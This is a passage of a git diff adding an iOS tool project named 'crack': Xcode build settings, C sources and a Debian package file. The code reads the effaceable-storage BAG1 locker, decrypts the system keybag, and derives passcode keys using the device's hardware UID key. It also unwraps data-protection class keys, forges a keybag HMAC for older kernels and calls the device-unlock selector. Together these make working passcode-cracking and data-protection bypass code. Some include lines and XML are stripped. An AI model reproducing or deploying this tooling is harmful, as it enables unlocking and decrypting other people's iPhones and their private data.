iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E73B3188EF10B000D650F /* Build configuration list for PBXProject "crack" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73C6188EF10B000D650F /* Debug */, + 8A6E73C7188EF10B000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E73C8188EF10B000D650F /* Build configuration list for PBXNativeTarget "crack" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73C9188EF10B000D650F /* Debug */, + 8A6E73CA188EF10B000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E73B0188EF10B000D650F /* Project object */; +} diff --git a/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme new file mode 100644 index 0000000..cb133c8 --- /dev/null +++ b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..6d34cbc --- /dev/null +++ b/crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + crack.xcscheme + + orderHint + 2 + + + SuppressBuildableAutocreation + + 8A6E73B7188EF10B000D650F + + primary + + + + + diff --git a/crack/crack/AppleEffaceableStorage.c b/crack/crack/AppleEffaceableStorage.c new file mode 100644 index 0000000..dd8c8e2 --- /dev/null +++ b/crack/crack/AppleEffaceableStorage.c @@ -0,0 +1,67 @@ +#include +#include +#include +#include + +#include "IOKit.h" +#include "AppleEffaceableStorage.h" + +int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len) { + uint64_t outScalar = 0; + uint32_t one = 1; + uint64_t inScalar = lockerId; + + return IOKit_call("AppleEffaceableStorage", + kAppleEffaceableStorageGetLocker, + &inScalar, + 1, + NULL, + 0, + &outScalar, + &one, + buffer, + &len); +} + +int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len) +{ + const uint64_t offset = 0; + + return IOKit_call("AppleEffaceableStorage", + kAppleEffaceableStorageGetBytes, + &offset, + 1, + NULL, + 0, + NULL, + NULL, + buffer, + &len); +} + + +int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len) +{ + struct EffaceableLocker* p = (struct EffaceableLocker*) lockers; + unsigned int i=0; + + while (i < lockers_len) + { + printf("p->magic=%x\n", p->magic); + if (p->magic != 0x4c6B)//'Lk') //0x4c6B + break; + if (p->len == 0 || ((i+8+p->len) > lockers_len)) + break; + printf("p->tag=%x\n", p->tag); + if ((p->tag & ~0x80000000) == tag) + { + len = len < p->len ? len : p->len; + memcpy(buffer, p->data, len); + return 0; + } + i = i + 8 + p->len; + p = (struct EffaceableLocker*) (&lockers[i]); + } + return -1; + +} diff --git a/crack/crack/AppleEffaceableStorage.h b/crack/crack/AppleEffaceableStorage.h new file mode 100644 index 0000000..009bca3 --- /dev/null +++ b/crack/crack/AppleEffaceableStorage.h @@ -0,0 +1,40 @@ +/* +AppleEffaceableStorage +0 : getCapacity +1 : getBytes (kernel debug) +2 : setBytes (kernel debug) +3 : isFormatted +4 : format +5 : getLocker +6 : setLocker +7 : effaceLocker +8 : lockerSpace +*/ +#define kAppleEffaceableStorageGetBytes 1 +#define kAppleEffaceableStorageGetLocker 5 + + +#define LOCKER_DKEY 0x446B6579 +#define LOCKER_EMF 0x454D4621 +#define LOCKER_BAG1 0x42414731 +#define LOCKER_LWVM 0x4C77564d + +struct EffaceableLocker +{ + unsigned short magic; //0x4c6B = "kL" + unsigned short len; + unsigned int tag; //BAG1, EMF, Dkey, DONE + unsigned char data[1]; +}; + +struct BAG1Locker +{ + unsigned int magic;//'BAG1'; + unsigned char iv[16]; + unsigned char key[32]; +}; + +int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len); +int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len); +int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len); + diff --git a/crack/crack/AppleKeyStore.c b/crack/crack/AppleKeyStore.c new file mode 100644 index 0000000..edeb209 --- /dev/null +++ b/crack/crack/AppleKeyStore.c @@ -0,0 +1,321 @@ +#include +#include +#include + +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +#include "util.h" + +CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename) +{ + char keybagPath[100]; + struct BAG1Locker bag1_locker={0}; + //unsigned char buffer_bag1[52] = {0}; + + snprintf(keybagPath, 99, "%s/%s.kb", folder, filename); + + CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, + (const UInt8*)keybagPath, + strlen(keybagPath), + 0); + + if (url == NULL) + return NULL; + + CFReadStreamRef stream = CFReadStreamCreateWithFile (kCFAllocatorDefault, url); + + if (stream == NULL) + return NULL; + + if (CFReadStreamOpen(stream) != TRUE) + return NULL; + + CFPropertyListRef plist = CFPropertyListCreateWithStream (kCFAllocatorDefault, + stream, + 0, + kCFPropertyListImmutable, + NULL, + NULL + ); + if (plist == NULL) + return NULL; + + CFDataRef data = CFDictionaryGetValue(plist, CFSTR("_MKBPAYLOAD")); + + if (data == NULL) + return NULL; + + uint8_t* mkbpayload = valloc(CFDataGetLength(data)); + CFDataGetBytes(data, CFRangeMake(0,CFDataGetLength(data)), mkbpayload); + int length = CFDataGetLength(data); + + if (length < 16) + { + free(mkbpayload); + return NULL; + } + + if (AppleEffaceableStorage__getLocker(LOCKER_BAG1, (uint8_t*) &bag1_locker, sizeof(struct BAG1Locker))) + { + free(mkbpayload); + return NULL; + } + + if (bag1_locker.magic != 'BAG1') + fprintf(stderr, "AppleKeyStore_loadKeyBag: bad BAG1 magic\n"); + + size_t decryptedSize = 0; + + CCCryptorStatus cryptStatus = CCCrypt(kCCDecrypt, + kCCAlgorithmAES128, + kCCOptionPKCS7Padding, + bag1_locker.key, + kCCKeySizeAES256, + bag1_locker.iv, + mkbpayload, + length, + mkbpayload, + length, + &decryptedSize); + + if (cryptStatus != kCCSuccess) + { + fprintf(stderr, "AppleKeyStore_loadKeyBag CCCrypt kCCDecrypt with BAG1 key failed, return code=%x\n", cryptStatus); + free(mkbpayload); + return NULL; + } + + CFDataRef data2 = CFDataCreate(kCFAllocatorDefault, + mkbpayload, + decryptedSize + ); + + if (data2 == NULL) + { + free(mkbpayload); + return NULL; + } + + CFErrorRef e=NULL; + CFPropertyListRef plist2 = CFPropertyListCreateWithData(kCFAllocatorDefault, data2, kCFPropertyListImmutable, NULL, &e); + if (plist2 == NULL) + { + fprintf(stderr, "AppleKeyStore_loadKeyBag failed to create plist, AES fail ? decryptedSize=%zx\n", decryptedSize); + + CFShow(e); + } + free(mkbpayload); + CFRelease(data2); + return plist2; +} + +int AppleKeyStoreKeyBagInit() +{ + uint64_t out = 0; + uint32_t one = 1; + return IOKit_call("AppleKeyStore", + kAppleKeyStoreInitUserClient, + NULL, + 0, + NULL, + 0, + &out, + &one, + NULL, + NULL); +} + +int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId) +{ + uint32_t outCnt = 1; + aes_key_wrap_ctx ctx; + uint8_t hmckkey[32] = {0}; + + int retcode = IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagCreateWithData, + NULL, + 0, + CFDataGetBytePtr(data), + CFDataGetLength(data), + keybagId, + &outCnt, + NULL, + NULL + ); + if (retcode != 0xE00002C9) + return retcode; + //HAX to load new iOS 7 keybags on previous iOS kernels + uint32_t* kbdata = (uint32_t*) CFDataGetBytePtr(data); + if ((kbdata[2] == 'SREV') && (kbdata[4] == 0x04000000)) + { + printf("Patching iOS 7 keybag VERS 4 signature for older kernels\n"); + + aes_key_wrap_set_key(&ctx, IOAES_key835(), 16); + assert(kbdata[0x38/4] == 'KCMH'); + assert(!aes_key_unwrap(&ctx, (const uint8_t*) &kbdata[0x38/4 + 2], hmckkey, 4)); + + assert(kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2] == 'NGIS'); + + CCHmac(kCCHmacAlgSHA1, + (const void *) &kbdata[2], + CFSwapInt32BigToHost(kbdata[1]), + hmckkey, + 32, + &kbdata[CFSwapInt32BigToHost(kbdata[1])/4 + 2 + 2]); + } + outCnt = 1; + return IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagCreateWithData, + NULL, + 0, + CFDataGetBytePtr(data), + CFDataGetLength(data), + keybagId, + &outCnt, + NULL, + NULL + ); +} + +int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId) +{ + return IOKit_call("AppleKeyStore", + kAppleKeyStoreKeyBagSetSystem, + &keybagId, + 1, + NULL, + 0, + NULL, + NULL, + NULL, + NULL); +} + +int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode) +{ + return IOConnectCallMethod(conn, + kAppleKeyStoreUnlockDevice, + NULL, + 0, + CFDataGetBytePtr(passcode), + CFDataGetLength(passcode), + NULL, + NULL, + NULL, + NULL); +} + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb) +{ + const uint8_t* ptr = CFDataGetBytePtr(kb); + unsigned int len = CFDataGetLength(kb); + struct KeyBagBlobItem* p = (struct KeyBagBlobItem*) ptr; + const uint8_t* end; + + if (p->tag != 'ATAD') { + printf("Keybag does not start with DATA\n"); + return NULL; + } + if (8 + CFSwapInt32BigToHost(p->len) > len) { + return NULL; + } + + KeyBag* keybag = malloc(sizeof(KeyBag)); + if (keybag == NULL) + return NULL; + + memset(keybag, 0, sizeof(KeyBag)); + + end = ptr + 8 + CFSwapInt32BigToHost(p->len); + p = (struct KeyBagBlobItem*) p->data.bytes; + int kbuuid=0; + int i = -1; + + while ((uint8_t*)p < end) { + //printf("%x\n", p->tag); + len = CFSwapInt32BigToHost(p->len); + + if (p->tag == 'SREV') { + keybag->version = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'TLAS') { + memcpy(keybag->salt, p->data.bytes, 20); + } + else if (p->tag == 'RETI') { + keybag->iter = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'DIUU') { + if (!kbuuid) + { + memcpy(keybag->uuid, p->data.bytes, 16); + kbuuid = 1; + } + else + { + i++; + if (i >= MAX_CLASS_KEYS) + break; + memcpy(keybag->keys[i].uuid, p->data.bytes, 16); + } + } + else if (p->tag == 'SALC') + { + keybag->keys[i].clas = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'PARW' && kbuuid) + { + keybag->keys[i].wrap = CFSwapInt32BigToHost(p->data.intvalue); + } + else if (p->tag == 'YKPW') + { + memcpy(keybag->keys[i].wpky, p->data.bytes, (len > 40) ? 40 : len); + } + p = (struct KeyBagBlobItem*) &p->data.bytes[len]; + } + keybag->numKeys = i + 1; + + return keybag; +} + +void AppleKeyStore_printKeyBag(KeyBag* kb) +{ + int i; + printf("Keybag version : %d\n", kb->version); + printf("Keybag keys : %d\n", kb->numKeys); + printf("Class\tWrap\tKey\n"); + for (i=0; i < kb->numKeys; i++) + { + printf("%d\t%d\t", kb->keys[i].clas, kb->keys[i].wrap); + printBytesToHex(kb->keys[i].wpky, kb->keys[i].wrap & 2 ? 40 : 32); + printf("\n"); + } + printf("\n"); +} + +CFMutableDictionaryRef AppleKeyStore_getClassKeys(KeyBag* kb) +{ + int i; + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, kb->numKeys, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFStringRef key; + + for (i=0; i < kb->numKeys; i++) + { + if(kb->keys[i].wrap == 0) + { + key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%d"), kb->keys[i].clas); + addHexaString(dict, key, kb->keys[i].wpky, 32); + CFRelease(key); + } + } + return dict; +} diff --git a/crack/crack/AppleKeyStore.h b/crack/crack/AppleKeyStore.h new file mode 100644 index 0000000..0840da1 --- /dev/null +++ b/crack/crack/AppleKeyStore.h @@ -0,0 +1,86 @@ +#include + +/* + AppleKeyStore + 0 : initUserClient scalarOutSize=1 + 1 : + 2 : AppleKeyStoreKeyBagCreate + 3 : AppleKeyStoreKeyBagCopyData inscalars=id structOutSize=0x8000 + 4 : keybagrelease inscalars":[0]} + 5 : AppleKeyStoreKeyBagSetSystem + 6 : AppleKeyStoreKeyBagCreateWithData + 7 : getlockstate "inscalars":[0], "scalarOutSize":1} + 8 : AppleKeyStoreLockDevice + 9 : AppleKeyStoreUnlockDevice instruct + 10: AppleKeyStoreKeyWrap + 11: AppleKeyStoreKeyUnwrap + 12: AppleKeyStoreKeyBagUnlock + 13: AppleKeyStoreKeyBagLock + 14: AppleKeyStoreKeyBagGetSystem scalarOutSize=1 + 15: AppleKeyStoreKeyBagChangeSecret + 17: AppleKeyStoreGetDeviceLockState scalarOutSize=1 + 18: AppleKeyStoreRecoverWithEscrowBag + 19: AppleKeyStoreOblitClassD + */ +#define kAppleKeyStoreInitUserClient 0 +#define kAppleKeyStoreKeyBagSetSystem 5 +#define kAppleKeyStoreKeyBagCreateWithData 6 +#define kAppleKeyStoreUnlockDevice 9 + +#define MAX_CLASS_KEYS 20 + +struct KeyBagBlobItem +{ + unsigned int tag; + unsigned int len; + union + { + unsigned int intvalue; + unsigned char bytes[1]; + } data; +}; + +typedef struct ClassKey +{ + unsigned char uuid[16]; + unsigned int clas; + unsigned int wrap; + unsigned char wpky[40]; +} ClassKey; + +typedef struct KeyBag +{ + unsigned int version; + unsigned int type; + unsigned char uuid[16]; + unsigned char hmck[40]; + unsigned char salt[20]; + unsigned int iter; + + unsigned int numKeys; + + struct ClassKey keys[MAX_CLASS_KEYS]; +} KeyBag; + + +int AppleKeyStoreKeyBagInit(); +CFDictionaryRef AppleKeyStore_loadKeyBag(const char* folder, const char* filename); +int AppleKeyStoreKeyBagCreateWithData(CFDataRef data, uint64_t* keybagId); +int AppleKeyStoreKeyBagSetSystem(uint64_t keybagId); +int AppleKeyStoreUnlockDevice(io_connect_t conn, CFDataRef passcode); + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb); +void AppleKeyStore_printKeyBag(KeyBag* kb); + +int AppleKeyStore_getPasscodeKey(KeyBag* keybag, + const char* passcode, + size_t passcodeLen, + uint8_t* passcodeKey); + +int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, + const char* passcode, + size_t passcodeLen, + uint8_t* key835); + +KeyBag* AppleKeyStore_parseBinaryKeyBag(CFDataRef kb); +CFMutableDictionaryRef AppleKeyStore_getClassKeys(KeyBag* kb); \ No newline at end of file diff --git a/crack/crack/AppleKeyStore_kdf.c b/crack/crack/AppleKeyStore_kdf.c new file mode 100644 index 0000000..f143a03 --- /dev/null +++ b/crack/crack/AppleKeyStore_kdf.c @@ -0,0 +1,147 @@ +#include +#include +#include +#include + +#include "IOKit.h" +#include "AppleKeyStore.h" +#include "IOAESAccelerator.h" +#include "AppleEffaceableStorage.h" + +#include "bsdcrypto/pbkdf2.h" +#include "bsdcrypto/rijndael.h" +#include "bsdcrypto/key_wrap.h" + +int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers); +uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey); +void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen); + +#define DERIVATION_BUFFER_SIZE 4096 +uint8_t buf1[DERIVATION_BUFFER_SIZE]; +uint8_t buf2[DERIVATION_BUFFER_SIZE]; + +IOByteCount IOAESStructSize1 = sizeof(IOAESStruct); +IOAESStruct in ={buf1,buf2,DERIVATION_BUFFER_SIZE,{0},0,128,{0},kIOAESAcceleratorUIDMask,0}; +IOAESStruct out = {0}; + +int AppleKeyStore_getPasscodeKey(KeyBag* keybag, + const char* passcode, + size_t passcodeLen, + uint8_t* passcodeKey) +{ + //One PBKDF2 iter, hardcoded salt length + pkcs5_pbkdf2(passcode, passcodeLen, keybag->salt, 20, passcodeKey, 32, 1); + + return AppleKeyStore_derivation(passcodeKey, 32, keybag->iter, keybag->version); +} + +int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers) +{ + IOReturn ret; + io_connect_t conn = IOAESAccelerator_getIOconnect(); + memset(in.iv, 0, 16); + + uint32_t r4; + uint32_t nBlocks = DERIVATION_BUFFER_SIZE / dataLength; //4096/32=128 + uint32_t xorkey = 1; + + uint32_t* buffer2 = data; + if (vers >= 2) + { + buffer2 = malloc(dataLength); + memcpy(buffer2, data, dataLength); + } + while (iter > 0) + { + //version=1 xorKey alawys=1, buffer2 changes at each iter + //version=2 xorKey changes at each iter, buffer2 is always the input (pbkdf2(passcode)) + r4 = AppleKeyStore_xorExpand((uint32_t*)buf1, DERIVATION_BUFFER_SIZE, buffer2, dataLength, xorkey); + if (vers >= 2) + xorkey = r4; + + if((ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize1, &out, &IOAESStructSize1)) != kIOReturnSuccess) + { + fprintf(stderr, "IOConnectCallStructMethod fail : %x\n", ret); + return -1; + } + memcpy(in.iv, out.iv, 16); + + r4 = nBlocks; + if (r4 >= iter) + { + r4 = iter; + } + AppleKeyStore_xorCompress((uint32_t*) buf2, r4 * dataLength, data, dataLength); + iter -= r4; + } + if (vers >= 2) + { + free(buffer2); + } + return 0; +} + +/* +uint32_t paddedLen = (inLen + 3) & (~3);//aligne sur 4 octets +if (dstLen % paddedLen) + return; +uint32_t localBuf[inLen/4]; + +memcpy(localBuf, input, inLen); +memset(&localBuf[inLen], 0, paddedLen - inLen);*/ +uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey) +{ + uint32_t* dstEnd = &dst[dstLen/4]; + uint32_t i = 0; + + while (dst < dstEnd) + { + i = 0; + while (i < inLen/4) + { + *dst = input[i] ^ xorKey; + dst++; + i++; + } + xorKey++; + } + return xorKey; +} + +void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen) +{ + uint32_t i; + + for (i=0; i < (inputLen/4); i++) + { + output[i%(outputLen/4)] ^= input[i]; + } +} + +int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, const char* passcode, size_t passcodeLen, uint8_t* key835) +{ + u_int8_t passcodeKey[32]={0}; + u_int8_t unwrappedKey[40]={0}; + aes_key_wrap_ctx ctx; + int i; + + AppleKeyStore_getPasscodeKey(kb, passcode, passcodeLen, passcodeKey); + aes_key_wrap_set_key(&ctx, passcodeKey, 32); + + for (i=0; i < kb->numKeys; i++) + { + if (kb->keys[i].wrap & 2) + { + if(aes_key_unwrap(&ctx, kb->keys[i].wpky, unwrappedKey, 4)) + return 0; + memcpy(kb->keys[i].wpky, unwrappedKey, 32); + kb->keys[i].wrap &= ~2; + } + if (kb->keys[i].wrap & 1) + { + doAES(kb->keys[i].wpky, kb->keys[i].wpky, 32, kIOAESAcceleratorCustomMask, key835, NULL, kIOAESAcceleratorDecrypt, 128); + kb->keys[i].wrap &= ~1; + } + } + return 1; +} diff --git a/crack/crack/IOAESAccelerator.c b/crack/crack/IOAESAccelerator.c new file mode 100644 index 0000000..2e1ee76 --- /dev/null +++ b/crack/crack/IOAESAccelerator.c @@ -0,0 +1,160 @@ +/** + https://github.com/planetbeing/xpwn/blob/master/crypto/aes.c + **/ +#include +#include +#include +#include +#include +#include + +#include + +#include "IOKit.h" +#include "IOAESAccelerator.h" + +io_connect_t conn = 0; +IOByteCount IOAESStructSize = sizeof(IOAESStruct); +pthread_once_t once_control = PTHREAD_ONCE_INIT; + +//see com.apple.driver.AppleCDMA +typedef struct +{ + uint32_t key_id; + uint32_t hw_key_id; + uint8_t nonce_to_encrypt_with_hw_key[16]; + uint8_t* value; +} device_key_descriptor; + +#define NUM_DEVICE_KEYS 4 +device_key_descriptor ios_device_keys[NUM_DEVICE_KEYS]= { + {0x835, kIOAESAcceleratorUIDMask, {0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01}, NULL}, + {0x899, kIOAESAcceleratorUIDMask, {0xD1, 0xE8, 0xFC, 0xB5, 0x39, 0x37, 0xBF, 0x8D, 0xEF, 0xC7, 0x4C, 0xD1, 0xD0, 0xF1, 0xD4, 0xB0}, NULL}, + {0x89B, kIOAESAcceleratorUIDMask, {0x18, 0x3E, 0x99, 0x67, 0x6B, 0xB0, 0x3C, 0x54, 0x6F, 0xA4, 0x68, 0xF5, 0x1C, 0x0C, 0xBD, 0x49}, NULL}, + {0x89A, kIOAESAcceleratorUIDMask, {0xDB, 0x1F, 0x5B, 0x33, 0x60, 0x6C, 0x5F, 0x1C, 0x19, 0x34, 0xAA, 0x66, 0x58, 0x9C, 0x06, 0x61}, NULL}, +}; + +void aes_init() +{ + conn = IOKit_getConnect("IOAESAccelerator"); +} + +io_connect_t IOAESAccelerator_getIOconnect() +{ + pthread_once(&once_control, aes_init); + return conn; +} + + +int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits) { + IOReturn ret; + IOAESStruct in; + + pthread_once(&once_control, aes_init); + + in.mode = mode; + in.bits = bits; + in.inbuf = inbuf; + in.outbuf = outbuf; + in.size = size; + in.mask = keyMask; + + memset(in.keybuf, 0, sizeof(in.keybuf)); + + if(key) + memcpy(in.keybuf, key, in.bits / 8); + + if(iv) + memcpy(in.iv, iv, 16); + else + memset(in.iv, 0, 16); + + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + if(ret == kIOReturnBadArgument) { + IOAESStructSize = IOAESStruct_sizeold; + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + } + + if(iv) + memcpy(iv, in.iv, 16); + + return ret; +} + +IOReturn doAES_wrapper(void* thisxxx, int mode, void* iv, void* outbuf, void *inbuf, uint32_t size, uint32_t keyMask) +{ + int x = doAES(inbuf, outbuf, size, keyMask, NULL, iv, mode, 128); + return !x; +} + +int AES_UID_Encrypt(void* input2, void* output, size_t len) +{ + IOAESStruct in; + IOReturn ret; + static int triedToPatchKernelAlready = 0; + unsigned char* input = valloc(16); + + memcpy(input, input2, 16); + + pthread_once(&once_control, aes_init); + + in.mode = kIOAESAcceleratorEncrypt; + in.mask = kIOAESAcceleratorUIDMask; + in.bits = 128; + in.inbuf = input; + in.outbuf = output; + in.size = len; + + memset(in.keybuf, 0, sizeof(in.keybuf)); + memset(in.iv, 0, 16); + + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + if(ret == kIOReturnBadArgument) { + IOAESStructSize = IOAESStruct_sizeold; + ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize); + } + + if(ret == kIOReturnNotPrivileged && !triedToPatchKernelAlready) { + triedToPatchKernelAlready = 1; + syslog(LOG_ERR, "Trying to patch IOAESAccelerator kernel extension to allow UID key usage\n"); + ret = AES_UID_Encrypt(input2, output, len); + } + if(ret != kIOReturnSuccess) { + syslog(LOG_ERR, "IOAESAccelerator returned: %x\n", ret); + } + return ret; +} + +uint8_t* IOAES_get_device_key(uint32_t id) +{ + static uint8_t nullkey[16] = {0}; + int i; + for(i=0; i < NUM_DEVICE_KEYS; i++) + { + if (ios_device_keys[i].key_id != id) + continue; + if (ios_device_keys[i].value != NULL) + return ios_device_keys[i].value; + + ios_device_keys[i].value = (uint8_t*) valloc(16); //on ARMv6 devices stuff needs to be aligned + memcpy(ios_device_keys[i].value, ios_device_keys[i].nonce_to_encrypt_with_hw_key, 16); + AES_UID_Encrypt(ios_device_keys[i].value, ios_device_keys[i].value, 16); + return ios_device_keys[i].value; + } + return nullkey; + +} +uint8_t* IOAES_key835() +{ + return IOAES_get_device_key(0x835); +} + +uint8_t* IOAES_key89B() +{ + return IOAES_get_device_key(0x89B); +} + +uint8_t* IOAES_key89A() +{ + return IOAES_get_device_key(0x89A); +} \ No newline at end of file diff --git a/crack/crack/IOAESAccelerator.h b/crack/crack/IOAESAccelerator.h new file mode 100644 index 0000000..6336493 --- /dev/null +++ b/crack/crack/IOAESAccelerator.h @@ -0,0 +1,36 @@ +#define kIOAESAcceleratorInfo 0 +#define kIOAESAcceleratorTask 1 +#define kIOAESAcceleratorTest 2 + +#define kIOAESAcceleratorEncrypt 0 +#define kIOAESAcceleratorDecrypt 1 + +#define kIOAESAcceleratorGIDMask 0x3E8 +#define kIOAESAcceleratorUIDMask 0x7D0 +#define kIOAESAcceleratorCustomMask 0 + +typedef struct +{ + void* inbuf; + void* outbuf; + uint32_t size; + uint8_t iv[16]; + uint32_t mode; + uint32_t bits; + uint8_t keybuf[32]; + uint32_t mask; + uint32_t zero; //ios 4.2.1 +} IOAESStruct; + +#define IOAESStruct_size41 (sizeof(IOAESStruct)) +#define IOAESStruct_sizeold (sizeof(IOAESStruct) - 4) + +void aes_init(); +io_connect_t IOAESAccelerator_getIOconnect(); +int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits); +int AES_UID_Encrypt(void* input, void* output, size_t len); + +uint8_t* IOAES_key835(); +uint8_t* IOAES_key89A(); +uint8_t* IOAES_key89B(); + diff --git a/crack/crack/IOKit.c b/crack/crack/IOKit.c new file mode 100644 index 0000000..9939a80 --- /dev/null +++ b/crack/crack/IOKit.c @@ -0,0 +1,91 @@ +#include +#include + +#include "IOKit.h" + +struct ioconnectCache { + const char* serviceName; + io_connect_t conn; +}; + +struct ioconnectCache cache[10]={{NULL, 0}}; + +void __attribute__((destructor)) IOKit_destruct() +{ + int i; + for (i=0; i < 10 && cache[i].conn != 0; i++) { + //printf("Closing %s\n", cache[i].serviceName); + IOServiceClose(cache[i].conn); + } +} + +io_connect_t IOKit_getConnect(const char* serviceName) +{ + IOReturn ret; + io_connect_t conn = 0; + int i; + + for (i=0; i < 10 && cache[i].serviceName != NULL; i++) { + if (!strcmp(serviceName, cache[i].serviceName)) + { + //printf("got cache for %s\n", serviceName); + return cache[i].conn; + } + } + + CFMutableDictionaryRef dict = IOServiceMatching(serviceName); + io_service_t dev = IOServiceGetMatchingService(kIOMasterPortDefault, dict); + + if(!dev) { + fprintf(stderr, "FAIL: Could not get %s service\n", serviceName); + return -1; + } + + ret = IOServiceOpen(dev, mach_task_self(), 0, &conn); + + IOObjectRelease(dev); + if(ret != kIOReturnSuccess) { + fprintf(stderr, "FAIL: Cannot open service %s\n", serviceName); + return -1; + } + + if (i < 10) { + cache[i].serviceName = serviceName; + cache[i].conn = conn; + } + + return conn; +} + +IOReturn IOKit_call(const char* serviceName, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + IOReturn ret; + io_connect_t conn = IOKit_getConnect(serviceName); + + ret = IOConnectCallMethod(conn, + selector, + input, + inputCnt, + inputStruct, + inputStructCnt, + output, + outputCnt, + outputStruct, + outputStructCnt); + + if (ret != kIOReturnSuccess) + { + fprintf(stderr, "IOConnectCallMethod on %s selector %d returned %x\n", serviceName, selector, ret); + } + + return ret; +} \ No newline at end of file diff --git a/crack/crack/IOKit.h b/crack/crack/IOKit.h new file mode 100644 index 0000000..a4c1429 --- /dev/null +++ b/crack/crack/IOKit.h @@ -0,0 +1,14 @@ +#include + +io_connect_t IOKit_getConnect(const char* serviceName); + +IOReturn IOKit_call(const char* serviceName, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt); \ No newline at end of file diff --git a/crack/crack/Package/DEBIAN/control b/crack/crack/Package/DEBIAN/control new file mode 100644 index 0000000..5bf3cd4 --- /dev/null +++ b/crack/crack/Package/DEBIAN/control @@ -0,0 +1,17 @@ +Package: com.sudo-sec.crack +Name: crack +Version: 1.0-1 +Description: +Section: System +Depends: firmware (>= 5.0) +Conflicts: +Replaces: +Priority: optional +Architecture: iphoneos-arm +Author: Joshua Hill +dev: +Homepage: +Depiction: +Maintainer: +Icon: + diff --git a/crack/crack/Package/usr/bin/crack b/crack/crack/Package/usr/bin/crack new file mode 100644 index 0000000..f845284 Binary files /dev/null and 